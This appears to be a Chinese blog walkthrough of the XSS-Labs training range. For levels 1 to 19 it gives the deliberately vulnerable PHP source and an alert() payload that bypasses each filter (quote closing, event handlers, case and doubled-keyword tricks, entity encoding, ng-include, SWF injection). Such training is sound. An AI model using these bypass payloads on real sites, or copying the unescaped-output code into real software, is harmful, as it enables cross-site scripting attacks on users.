XSS-Labs靶场
本文最后更新于 24 天前,其中的信息可能已经有所发展或是发生改变。

Level 1

第一关进入发现

通过URL发现是GET传参,参数为name=

附源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

直接构造payload:

?name=<script>alert("xss")</script>

Level 2

发现有一个搜索框,尝试上一个payload发现没用

附源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

注:

这里用的是input标签,其中输入的test对应到的是value=“ ”,所以用双引号闭合

构造payload:

"/><script>alert('xss')</script>

Level 3

实际中按说是要测试的

这里直接上源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到有htmlspecialchars函数针对<>进行了html实体化,所以考虑利用其他方法进行注入

可以利用事件绕过(具体闭合看源码分析即可,单引号闭合)

payload:

' onfocus=javascript:alert() ‘

payload:

'onmouseover='alert(1)

如此可利用的payload还有很多,不一一列举了

Level 4

不废话上源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

仍然有函数转义,仍然可以用事件绕过

payload:

"onfocus="alert(1)

Level 5

可以多尝试,注入<script>alert(“1”)</script>

查看网页源代码发现script不好使

上源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

payload:

"/><a href=javascript:alert()>xss-alert</a><"

Level 6

多次尝试发现都没效果

上源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

发现过滤掉了on,src,href,data

所以可以直接利用大小写进行绕过(因为发现没有添加大小写转化的函数)

payload:

"><ScRipt>alert()</ScriPt>

Level 7

直接分析源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

发现过滤了script,on,src,data,href,而且还有大小写转化函数

所以可以使用双写绕过

payload:

"/><SCRscriptIPT>alert()</SCRscriptIPT><"

payload2:

"oonnclick="alert(1)

Level 8

发现变为添加友情链接

分析源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

发现过滤了script,on,src,data,href和”(双引号)同时还有大小写转化函数以及input标签内的hml实体转化函数

所以这边考虑进行编码绕过,采取Unicode编码

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

Level 9

直接上源码分析:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

和上一题过滤的东西一样,但是后面多了个if判断,if(false===strpos($str7,’http://’)),即理解为传入的值没有http://就会执行if语句,所以加上http://即可(传入的http://要进行注释,否则会无法执行,使strpos函数返回为数字,导致失败)

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

Level 10

此关注入点在URL上,尝试简单传入没有效果

但是发现有三个隐藏起来的参数

查看源码发现确实是:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

存在t_sort这个参数,但是过滤了<>,无法实现闭合,不能使用标签了

所以使用事件构造payload:

?t_sort="onclick=alert(1) type="text

Level 11

看看前端

发现仍有隐藏的参数,有个t_ref,应该是http头的referer的参数,可以看到里面的页面链接来自level10当中,所以选择抓包改referer的值试一下

试一下上一题的payload:

?t_sort="onclick=alert(1) type="text

结果直接就对了

附源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

Level 12

看前端发现

发现t_ua结合上题,即代表的是http中的ua头了(User-Agent)

直接进行抓包测试,试试原来的payload传上去

"onclick=alert(1) type="text

发现也过了

附上源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

看前端发现

看到cook,自动想到cookie

直接抓包尝试

再次通过

附上源码:

<!DOCTYPE html><!–STATUS OK–><html>

<head>

<meta http-equiv=”content-type” content=”text/html;charset=utf-8″>

<script>

window.alert = function()  

{    

confirm(“完成的不错!”);

 window.location.href=”level14.php”;

}

</script>

<title>欢迎来到level13</title>

</head>

<body>

<h1 align=center>欢迎来到level13</h1>

<?php

setcookie(“user”, “call me maybe?”, time()+3600);

ini_set(“display_errors”, 0);

$str = $_GET[“keyword”];

$str00 = $_GET[“t_sort”];

$str11=$_COOKIE[“user”];

$str22=str_replace(“>”,””,$str11);

$str33=str_replace(“<“,””,$str22);

echo “<h2 align=center>没有找到和”.htmlspecialchars($str).”相关的结果.</h2>”.'<center>

<form id=search>

<input name=”t_link”  value=”‘.'” type=”hidden”>

<input name=”t_history”  value=”‘.'” type=”hidden”>

<input name=”t_sort”  value=”‘.htmlspecialchars($str00).'” type=”hidden”>

<input name=”t_cook”  value=”‘.$str33.'” type=”hidden”>

</form>

</center>’;

?>

<center><img src=level13.png></center>

<?php

echo “<h3 align=center>payload的长度:”.strlen($str).”</h3>”;

?>

</body>

</html>

Level 14

进来发现十四题变样了

查看前端,发现src属性

跳转网站,发现进去啥都没有,去查了发现网址失效了

附上源码吧:

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

如果要看这题去看其他人做的吧

Level 15

看前端发现是img标签,利用了src属性

注释中nginclude查了一下发现是,当HTML代码过于复杂时,可以将部分代码打包成独立文件,在使用nginclude来引用这个独立的HTML文件。

nginclude指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,nginclude 属性的值可以是一个表达式,返回一个文件名,默认情况下,包含的文件需要包含在同一个域名下。

利用ngincludde指令,感觉可以去包含其他关卡(以第一关为例)

成功了,payload如下:

?src='level1.php'

进入后简单测试发现进行了实体转义,但是<>可以使用,所以可以包含第一关的参数使用标签达到弹窗的目的,但是试了<script>发现行不通,应该是不能包含直接弹窗的标签,这里选择用<img>标签进行手动弹窗,payload如下:

?src='level1.php?name=<img src=1 onclick=alert()>'

成功(这里用其他标签也可以<a>,<input>,<p>应该都可以)

附上源码:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

Level 16

先简单测试一下,发现过滤了script,测试关键字

附上源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

可以看出,还过滤了/和空格,直接用%0d,%0a替代即可

构造payload:

?keyword=<img%0asrc=1%0aonclick=alert()>

Level 17

直接看源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

发现有两个参数,且会相互拼接起来,怎么都没有头绪,仔细看他们俩在中,查资料

<embed> 是 HTML 中的一个元素,用于在网页中嵌入外部内容,例如多媒体文件(如音频、视频、Flash 动画等)、插件或其他可嵌入的内容。它允许网页开发者将外部资源集成到页面中,丰富页面的展示效果和功能。

且src是其必须的属性,所以可以利用这个生成恶意代码(做了尖括号过滤)用on事件

构造payload:

?arg01=a&arg02=b οnmοuseοver=alert(1)

但是不知道为啥显示不支持此插件,后面查发现不支持flash,不然会显示,之后鼠标放到上面就可以过

,这样也可以算成功了

这边突然想到另一个on事件,利用onmouseout试试,payload:

?arg01=a&arg02=b onmouseout=alert(1)

嘿,还真的成功显示出来了

Level 18

上源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

感觉和17题没多大区别

试试上题的payload:

?arg01=a&arg02=b onmouseout=alert(1)

Level 19

直接上源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

打开题目

看前端

发现访问是还在传参,下载swf文件,读不了,考虑反编译,利用JPEXS工具

题目显示sifi.js文件未定义的,利用工具查看,找到sifr对应脚本位置

慢慢找到对应信息,movie(436)这一堆东西

static var VERSION_WARNING = "Movie (436) is incompatible with sifr.js (%s). Use movie of %s.<br><strong>Movie (436) is incompatible with sifr.js (%s). Use movie of %s.</strong><br><em>Movie (436) is incompatible with sifr.js (%s). Use movie of %s.</em><br><strong><em>Movie (436) is incompatible with sifr.js (%s). Use movie of %s.</em></strong>";

其中

VERSION_WARNING`:变量名,用于存储一个警告信息字符串。

%s:是字符串格式化占位符,通常用于后续将某些具体的值替换进去。在这个例子中,可能是用来插入 sifr.js 的版本号和与之兼容的 movie 的版本号。

于是开始寻找后续的%s

_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);

解释:

  • 首先,创建了 sIFR 对象并定义了 VERSION_WARNING 属性,存储了一个包含 %s 占位符的警告信息。
  • 然后,创建了 _root 对象并定义了 version 属性,存储了一个版本号。
  • 接着,使用 split("%s") 方法将 sIFR.VERSION_WARNING 按照 %s 分割成数组。
  • 最后,使用 join(_root.version) 方法将数组元素使用 _root.version 作为分隔符拼接起来,存储在 _loc4_ 变量中,并打印输出。

这样就可知,页面的报错的内容可以通过_root.version控制,所以去看如何可控.

猜测key就是version,然后根据拼接可以尝试看看,输入尝试:

?arg01=version&arg02=111

拼接正好回显到页面上

于是进行xss注入即可,尝试使用<script>点击没有反应,于是想到利用<a>标签,构造payload:

 ?arg01=version&arg02=<a href='javascript:alert()'>Test</a>

Level 20

还在肝~~~~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇